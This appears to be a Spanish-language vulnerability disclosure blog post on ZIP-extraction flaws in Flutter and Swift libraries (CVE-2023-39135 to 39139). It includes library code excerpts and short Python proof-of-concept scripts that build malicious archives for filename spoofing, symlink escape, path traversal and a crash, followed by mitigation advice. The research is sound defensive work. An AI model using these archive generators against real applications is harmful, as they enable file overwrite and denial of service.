Neutron, nuestro motor de IA, obtuvo un 96.75% en el benchmark CyberGym de UC Berkeley. Más información

Seguridad

Seguridad

Vulnerabilidades de bibliotecas ZIP en Swift y Flutter

Investigaciones recientes y en profundidad revelan graves vulnerabilidades en paquetes zip muy utilizados de Flutter y Swift, que suponen serios riesgos de seguridad para miles de desarrolladores y aplicaciones. Nuestro artículo analiza los aspectos técnicos de estas vulnerabilidades y explica cómo se descubrieron, qué implican y qué estrategias de mitigación existen.

Introducción

Los paquetes ZIP son archivos comprimidos que contienen varios ficheros y directorios, y permiten a los desarrolladores agrupar cómodamente los recursos, las bibliotecas y otros componentes necesarios para el funcionamiento de una aplicación. Aunque los paquetes ZIP ofrecen eficiencia y facilidad de uso, también pueden ser el origen de posibles vulnerabilidades de seguridad que los actores maliciosos pueden explotar.

Este artículo analiza la seguridad de las implementaciones que manejan archivos zip y muestra vulnerabilidades en bibliotecas Zip populares de los ecosistemas Swift y Dart (Flutter). Exploraremos los riesgos potenciales asociados a los paquetes ZIP maliciosos y las consecuencias que pueden tener para la seguridad de las aplicaciones móviles. Además, trataremos las mejores prácticas y las estrategias eficaces para garantizar una protección sólida de los paquetes ZIP a lo largo del ciclo de vida del desarrollo.

Anatomía de un archivo ZIP

Los archivos ZIP suelen seguir esta estructura:

+------------------------------------------------------+
|                  Local File Header                   |
| +----------------------------------------------+     |
| | Local File Header Signature (4 bytes)       |     |
| | Version Needed to Extract (2 bytes)         |     |
| | General Purpose Bit Flag (2 bytes)          |     |
| | Compression Method (2 bytes)                |     |
| | Last Mod Time (2 bytes)                     |     |
| | Last Mod Date (2 bytes)                     |     |
| | CRC-32 Checksum (4 bytes)                   |     |
| | Compressed Size (4 bytes)                   |     |
| | Uncompressed Size (4 bytes)                 |     |
| | Filename Length (2 bytes)                  |     |
| | Extra Field Length (2 bytes)               |     |
| +----------------------------------------------+     |
| | Filename (variable length)                         | |
| |                                                  | |
| +----------------------------------------------+     |
| | Extra Field (variable length)                      | |
| |                                                  | |
| +----------------------------------------------+     |
|               Compressed Data                          |
|                                                      |
| +----------------------------------------------+     |
| | Data Descriptor (optional)                        | |
| | +------------------------------------------+ |     |
| | | CRC-32 Checksum (4 bytes)                | |     |
| | | Compressed Size (4 bytes)                | |     |
| | | Uncompressed Size (4 bytes)              | |     |
| | +------------------------------------------+ |     |
| +----------------------------------------------+     |
+------------------------------------------------------+
+------------------------------------------------------+
|                Central Directory                      |
| +----------------------------------------------+     |
| | Central Directory File Header              |     |
| | +--------------------------------------+ |     |
| | | Central Directory Header Signature  | |     |
| | | Version Made by (2 bytes)            | |     |
| | | Version Needed to Extract (2 bytes)  | |     |
| | | General Purpose Bit Flag (2 bytes)   | |     |
| | | ...                                | |     |
| | +--------------------------------------+ |     |
| | | CRC-32 Checksum (4 bytes)            | |     |
| | | Compressed Size (4 bytes)            | |     |
| | | Uncompressed Size (4 bytes)          | |     |
| | | Filename Length (2 bytes)            | |     |
| | | ...                                | |     |
| | +--------------------------------------+ |     |
| | | Filename (variable length)           | |     |
| | |                                    | |     |
| | +--------------------------------------+ |     |
| +----------------------------------------------+     |
+------------------------------------------------------+
+------------------------------------------------------+
|       End of Central Directory Record                |
| +----------------------------------------------+     |
| | End of Central Directory Signature (4 bytes) |     |
| | ...                                        |     |
| +----------------------------------------------+     |
+------------------------------------------------------+

Las partes más relevantes de la estructura zip son:

  • Local File Header: el Local File Header es una sección situada al principio de cada archivo dentro de un archivo ZIP. Contiene información esencial sobre el archivo comprimido, como su nombre, su tamaño, el método de compresión y otros atributos. Esta cabecera permite al software localizar y extraer los archivos individuales del archivo ZIP.

  • Data Descriptor: el Data Descriptor es una sección opcional del formato de archivo ZIP. Proporciona información adicional sobre los datos comprimidos de un archivo. Su finalidad es almacenar la suma de verificación CRC-32 de los datos sin comprimir, el tamaño comprimido y el tamaño sin comprimir. Incluir esta información permite realizar comprobaciones de integridad y puede resultar útil al extraer los archivos.

  • Central Directory File Header: el Central Directory File Header es una sección de un archivo ZIP que contiene los metadatos de cada archivo incluido en el paquete. Proporciona detalles como el nombre del archivo, el tamaño comprimido, el tamaño sin comprimir, el método de compresión y otros atributos. El Central Directory File Header se encuentra en la estructura del directorio central, un catálogo de todos los archivos del archivo ZIP.

  • End of Central Directory Record (EOCD): el End of Central Directory (EOCD) Record es una sección situada al final de un archivo ZIP que marca el final de la estructura del directorio central. Contiene información esencial, como el número de entradas del directorio central, el tamaño del directorio central y el desplazamiento hasta el inicio del directorio central. El registro EOCD permite al software localizar y acceder al directorio central, que proporciona información sobre los archivos del archivo ZIP.

Vulnerabilidades ZIP habituales

  • Path traversal en ZIP: el path traversal en ZIP, también conocido como Zip Slip, es una vulnerabilidad de seguridad que se produce cuando la aplicación no valida los nombres de archivo de las entradas zip durante la extracción. Permite a un atacante extraer archivos en ubicaciones arbitrarias fuera del directorio de extracción, lo que ayuda a sobrescribir datos sensibles del usuario y, en algunos casos, puede conducir a la ejecución de código si el atacante sobrescribe el archivo de objeto compartido de una aplicación.

  • Suplantación de nombres de archivo en ZIP: en el contexto de los archivos ZIP, hay dos estructuras de datos principales relacionadas con los nombres de archivo: la Central Directory Entry y el Local File Header. El problema aparece, por ejemplo, si un analizador lee el nombre de archivo del Local File Header pero después extrae el archivo con la ruta de la Central Directory Entry.

  • Path traversal mediante enlaces simbólicos en ZIP: los enlaces simbólicos en ZIP son una funcionalidad presente en muchas utilidades zip que permite que dichos enlaces apunten a archivos situados fuera del directorio de extracción. Esto puede suponer un riesgo de seguridad, ya que puede provocar la sobrescritura de datos sensibles o de archivos de objeto compartido, lo que a su vez puede conducir a la ejecución de código.

  • ZIP Bomb: una zip bomb es un archivo zip de tamaño reducido que contiene una cantidad enorme de datos comprimidos. Al extraerse, se expande hasta convertirse en un archivo gigantesco o consume una cantidad excesiva de recursos del sistema, lo que puede provocar una denegación de servicio (DoS).

Paquetes ZIP analizados

Archive

Uno de los paquetes de Flutter más populares para manejar archivos comprimidos es archive, de Brendan Duncan. Este paquete implementa de forma nativa en Dart los formatos de archivo más populares, sin tener que recurrir a paquetes nativos específicos de cada plataforma, como java.util.zip en Android o ZIPFoundation en iOS.

Lenguaje: Dart (Flutter)
Enlace: https://pub.dev/packages/archive

Flutter_archive

flutter_archive es otro paquete de Flutter para archivos comprimidos que trabaja exclusivamente con archivos zip. Este paquete se apoya en el paquete zip nativo de Java, java.util.zip, mediante el MethodChannel de Flutter.

Lenguaje: Dart (Flutter)
Enlace: https://pub.dev/packages/flutter_archive

ZIPFoundation

ZIPFoundation es una biblioteca para crear, leer y modificar archivos ZIP. Está escrita en Swift y se basa en libcompression de Apple para ofrecer un alto rendimiento y eficiencia energética.

Lenguaje: Swift
Enlace: https://github.com/weichsel/ZIPFoundation

ZIP

Zip es un framework de Swift para comprimir y descomprimir archivos. Es simple y rápido de usar. Está construido sobre minizip.

Lenguaje: Swift
Enlace: https://github.com/marmelroy/Zip

ZIPArchive (SSZIPArchive)

ZipArchive es una clase de utilidad sencilla para comprimir y descomprimir archivos en iOS, macOS y tvOS.

Lenguaje: Swift
Enlace: https://github.com/ZipArchive/ZipArchive

Vulnerabilidades detectadas

Paquete: Archive

Suplantación de nombres de archivo en ZIP (CVE-2023-39137)

El paquete archive solo analiza el nombre de archivo del Local File Header, lo que genera una incoherencia con la mayoría de los analizadores zip, que suelen dar prioridad a la Central Directory Entry. Esta incoherencia puede ser aprovechada por atacantes que construyan un archivo zip malicioso con nombres de archivo distintos en el Local File Header y en la Central Directory Entry, de modo que el archivo tenga nombres diferentes antes y después de la extracción.

  String filename = '';
  List<int> extraField = [];
  String fileComment = '';
  ZipFile? file;

  ZipFileHeader(
      [InputStreamBase? input, InputStreamBase? bytes, String? password]) {
    if (input != null) {
      versionMadeBy = input.readUint16();
      versionNeededToExtract = input.readUint16();
      generalPurposeBitFlag = input.readUint16();
      compressionMethod = input.readUint16();
      lastModifiedFileTime = input.readUint16();
      lastModifiedFileDate = input.readUint16();
      crc32 = input.readUint32();
      compressedSize = input.readUint32();
      uncompressedSize = input.readUint32();
      final fnameLen = input.readUint16();
      final extraLen = input.readUint16();
      final commentLen = input.readUint16();
      diskNumberStart = input.readUint16();
      internalFileAttributes = input.readUint16();
      externalFileAttributes = input.readUint32();
      localHeaderOffset = input.readUint32();

      if (fnameLen > 0) {
        filename = input.readString(size: fnameLen);
      }

Para probarlo, creamos un archivo zip con valores distintos en el campo de nombre de archivo: evil.apk y evil.txt para el Local File Header y la Central Directory Entry, respectivamente.

Código de la prueba de concepto:

import zipfile

def generate_spoofed_zip(filename):
    with zipfile.ZipFile('payload.zip', 'w') as zipf:
        zipf.writestr(filename, "Test payload")

    with open('payload.zip', 'rb') as zipf:
        zip_data = zipf.read()
        spoofed_data = zip_data.replace(bytes(filename, 'utf-8'), bytes(spoofed_filename, 'utf-8'), 1)

    with open('payload.zip', 'wb') as zipf:
        zipf.write(spoofed_data)


original_filename = 'evil.txt'
spoofed_filename = 'evil.apk'

if len(original_filename) != len(spoofed_filename):
    raise ValueError("Filenames lengths must be equal")

generate_spoofed_zip(original_filename)

volcado hexadecimal del archivo zip
Volcado hexadecimal del archivo zip

Cuando ejecutamos la utilidad zipinfo sobre nuestro archivo zip, el nombre de archivo que contenía se interpretó como evil.txt.

zipinfo
zipinfo sobre nuestro archivo zip

Sin embargo, tras extraer el archivo con la función extractFileToDisk del paquete archive, el nombre de archivo se interpretó como evil.apk.

archivo zip extraído
Archivo zip extraído

Path traversal mediante enlaces simbólicos en ZIP (CVE-2023-39139)

Otro hallazgo interesante que encontramos al inspeccionar el paquete fue que no solo restablece los enlaces simbólicos tras la extracción, sino que además restablece los que apuntan a cualquier ruta, incluso fuera del directorio de extracción.

  for (final file in archive.files) {
    final filePath = p.join(outputPath, p.normalize(file.name));

    if (!isWithinOutputPath(outputPath, filePath)) {
      continue;
    }

    if (!file.isFile && !file.isSymbolicLink) {
      Directory(filePath).createSync(recursive: true);
      continue;
    }

    if (asyncWrite) {
      if (file.isSymbolicLink) {
        final link = Link(filePath);
        await link.create(p.normalize(file.nameOfLinkedFile), recursive: true);
      } else {
        final output = File(filePath);
        final f = await output.create(recursive: true);
        final fp = await f.open(mode: FileMode.write);
        final bytes = file.content as List<int>;
        await fp.writeFrom(bytes);
        file.clear();
        futures.add(fp.close());
      }

Para probarlo, creamos un enlace simbólico evil que apuntaba a un archivo (secret.txt) del directorio superior, comprimimos ese enlace simbólico con el comando zip --symlinks poc.zip evil y extrajimos poc.zip en un dispositivo de prueba Android con la función extractFileToDisk.

Código de la prueba de concepto:

import zipfile


def compress_file(filename):
    zipInfo = zipfile.ZipInfo("")
    zipInfo.create_system = 3
    zipInfo.external_attr = 2716663808
    zipInfo.filename = filename

    with zipfile.ZipFile('payload.zip', 'w') as zipf:
        zipf.writestr(zipInfo, "/etc/hosts")


filename = 'evil'

compress_file(filename)

enlace simbólico en la estación de trabajo
PoC del enlace simbólico en nuestra estación de trabajo

Al extraer el archivo zip, el enlace simbólico se restableció y apuntaba a ../secret.txt, fuera del directorio de extracción.

enlace simbólico en Android
Enlace simbólico tras la extracción en un dispositivo Android

Paquete: ZIPFoundation

Path traversal mediante enlaces simbólicos en ZIP (CVE-2023-39138)

Durante la extracción, el paquete pasa la ruta procedente de la entrada zip directamente a fileManager.createSymbolicLink sin comprobar que se encuentre dentro del directorio de extracción. Replicamos la misma prueba anterior y comprobamos que este paquete también permite enlaces simbólicos que apuntan fuera del directorio de extracción.

case .symlink:
    guard !fileManager.itemExists(at: url) else {
        throw CocoaError(.fileWriteFileExists, userInfo: [NSFilePathErrorKey: url.path])
    }
    let consumer = { (data: Data) in
        guard let linkPath = String(data: data, encoding: .utf8) else { throw ArchiveError.invalidEntryPath }
        try fileManager.createParentDirectoryStructure(for: url)
        try fileManager.createSymbolicLink(atPath: url.path, withDestinationPath: linkPath)
    }
    checksum = try self.extract(entry, bufferSize: bufferSize, skipCRC32: skipCRC32,
                                progress: progress, consumer: consumer)
}

Path traversal en ZIP (CVE-2023-39138)

El paquete utiliza la función isContained para comprobar que la ruta de la entrada zip se encuentra dentro del directorio de extracción:

func isContained(in parentDirectoryURL: URL) -> Bool {
        // Ensure this URL is contained in the passed in URL
        let parentDirectoryURL = URL(fileURLWithPath: parentDirectoryURL.path, isDirectory: true).standardized
        return self.standardized.absoluteString.hasPrefix(parentDirectoryURL.absoluteString)
    }
...
guard entryURL.isContained(in: destinationURL) else {
        throw CocoaError(.fileReadInvalidFileName,
                         userInfo: [NSFilePathErrorKey: entryURL.path])
    }
...
crc32 = try archive.extract(entry, to: entryURL, skipCRC32: skipCRC32, progress: entryProgress)

A continuación se muestra un fragmento de código de la función extract:

public func extract(_ entry: Entry, to url: URL, bufferSize: Int = defaultReadChunkSize, skipCRC32: Bool = false,
                        progress: Progress? = nil) throws -> CRC32 {
        guard bufferSize > 0 else {
            throw ArchiveError.invalidBufferSize
        }
        let fileManager = FileManager()
        var checksum = CRC32(0)
        switch entry.type {
        case .file:
            guard !fileManager.itemExists(at: url) else {
                throw CocoaError(.fileWriteFileExists, userInfo: [NSFilePathErrorKey: url.path])
            }
            try fileManager.createParentDirectoryStructure(for: url)
            let destinationRepresentation = fileManager.fileSystemRepresentation(withPath: url.path)
            guard let destinationFile: FILEPointer = fopen(destinationRepresentation, "wb+") else {
                throw POSIXError(errno, path: url.path)
            }
            defer { fclose(destinationFile) }
            let consumer = { _ = try Data.write(chunk: $0, to: destinationFile) }
            checksum = try self.extract(entry, bufferSize: bufferSize, skipCRC32: skipCRC32,
                                        progress: progress, consumer: consumer)

Cuando se le proporciona la ruta /base_path/extraction_directory//../, esta se normaliza como /base_path/extraction_directory/entry_file_name, lo que supera la comprobación anterior. Cuando esa misma ruta se pasa a fopen, se normaliza como /base_path/entry_file_name, lo que nos permite escribir archivos fuera del directorio de extracción.

Código de la prueba de concepto:

import zipfile

def compress_file(filename):
    with zipfile.ZipFile('payload.zip', 'w') as zipf:
        zipf.writestr(filename, "Test payload")

filename = '/../secret.txt'

compress_file(filename)

Paquete: Zip

Path traversal en ZIP (CVE-2023-39135)

A continuación se muestra un fragmento de código de la función unzipFile, utilizada para extraer archivos zip. Puede observarse que pathString, procedente de nuestra entrada zip, se añade al directorio destination sin ningún tipo de saneamiento.

let fileNameSize = Int(fileInfo.size_filename) + 1
//let fileName = UnsafeMutablePointer<CChar>(allocatingCapacity: fileNameSize)
let fileName = UnsafeMutablePointer<CChar>.allocate(capacity: fileNameSize)

unzGetCurrentFileInfo64(zip, &fileInfo, fileName, UInt(fileNameSize), nil, 0, nil, 0)
fileName[Int(fileInfo.size_filename)] = 0

var pathString = String(cString: fileName)

guard pathString.count > 0 else {
    throw ZipError.unzipFail
}

var isDirectory = false
let fileInfoSizeFileName = Int(fileInfo.size_filename-1)
if (fileName[fileInfoSizeFileName] == "/".cString(using: String.Encoding.utf8)?.first || fileName[fileInfoSizeFileName] == "\\".cString(using: String.Encoding.utf8)?.first) {
    isDirectory = true;
}
free(fileName)
if pathString.rangeOfCharacter(from: CharacterSet(charactersIn: "/\\")) != nil {
    pathString = pathString.replacingOccurrences(of: "\\", with: "/")
}

let fullPath = destination.appendingPathComponent(pathString).path

Código de la prueba de concepto:

import zipfile

def compress_file(filename):
    with zipfile.ZipFile('payload.zip', 'w') as zipf:
        zipf.writestr(filename, "Test payload")

filename = '../secret.txt'

compress_file(filename)

Paquete: ZIPArchive (SSZIPArchive)

Denegación de servicio (CVE-2023-39136)

A continuación se muestra un fragmento de código de la función _sanitizedPath, utilizada para sanear los nombres de archivo de las entradas zip. El código antepone el prefijo file:/// a la ruta de la entrada zip, la estandariza con NSURL y después elimina el prefijo añadido. Sin embargo, cuando se le presenta /.. como ruta, la salida de NSURL pasa a ser file://, que tiene 7 caracteres, mientras que el código espera al menos 8. Este caso límite no controlado provoca el cierre inesperado de la aplicación.

if (strPath == nil) {
        return nil;
    }

// Add scheme "file:///" to support sanitation on names with a colon like "file:a/../../../usr/bin"
strPath = [@"file:///" stringByAppendingString:strPath];

// Sanitize path traversal characters to prevent directory backtracking. Ignoring these characters mimics the default behavior of the Unarchiving tool on macOS.
// "../../../../../../../../../../../tmp/test.txt" -> "tmp/test.txt"
// "a/b/../c.txt" -> "a/c.txt"
strPath = [NSURL URLWithString:strPath].standardizedURL.absoluteString;

// Remove the "file:///" scheme
strPath = [strPath substringFromIndex:8];

Código de la prueba de concepto:

import zipfile

def compress_file(filename):
    with zipfile.ZipFile('payload.zip', 'w') as zipf:
        zipf.writestr(filename, "Test payload")

filename = '/..'

compress_file(filename)

Tabla resumen

Paquete Lenguaje Suplantación de nombres de archivo en ZIP Enlaces simbólicos en ZIP Path traversal en ZIP Denegación de servicio
Archive Dart (Flutter) Vulnerable No vulnerable No vulnerable No vulnerable
Flutter_archive Dart (Flutter) No vulnerable No vulnerable No vulnerable No vulnerable
ZIPFoundation Swift No vulnerable Vulnerable Vulnerable No vulnerable
ZIP Swift No vulnerable No vulnerable Vulnerable No vulnerable
ZIPArchive Swift No vulnerable No vulnerable No vulnerable Vulnerable

Conclusión

En conclusión, las vulnerabilidades ZIP suponen riesgos de seguridad significativos que los desarrolladores deben tener presentes al manejar archivos comprimidos. El formato de archivo ZIP, aunque está ampliamente extendido y soportado, no es inmune a la explotación. Comprender y abordar estas vulnerabilidades es esencial para proteger los datos sensibles y evitar posibles ataques.

Este artículo ha destacado varias vulnerabilidades ZIP habituales, entre ellas el path traversal en ZIP, la suplantación de nombres de archivo en ZIP, la vulnerabilidad de enlaces simbólicos en ZIP y los ataques de ZIP bomb. Cada una de estas vulnerabilidades expone riesgos distintos, como el acceso no autorizado a archivos, la sobrescritura de datos sensibles, la denegación de servicio (DoS) e incluso la ejecución de código en algunos escenarios.

Es importante que los desarrolladores implementen medidas de seguridad sólidas al trabajar con archivos ZIP. Entre ellas, validar los nombres de archivo de las entradas zip durante la extracción para evitar ataques de path traversal, garantizar la coherencia entre los nombres de archivo del Local File Header y de la Central Directory Entry para mitigar la suplantación de nombres de archivo, restringir los permisos de acceso a los archivos extraídos e implementar técnicas de descompresión adecuadas para evitar situaciones de DoS causadas por las ZIP bombs.

Además, es fundamental mantenerse informado sobre las actualizaciones de seguridad y los parches relacionados con las bibliotecas o paquetes ZIP utilizados en los frameworks de desarrollo. Revisar y actualizar con regularidad estas dependencias ayuda a mitigar las vulnerabilidades conocidas y a protegerse frente a las amenazas emergentes.

Cabe mencionar que los problemas analizados en este artículo se comunicaron a los autores correspondientes.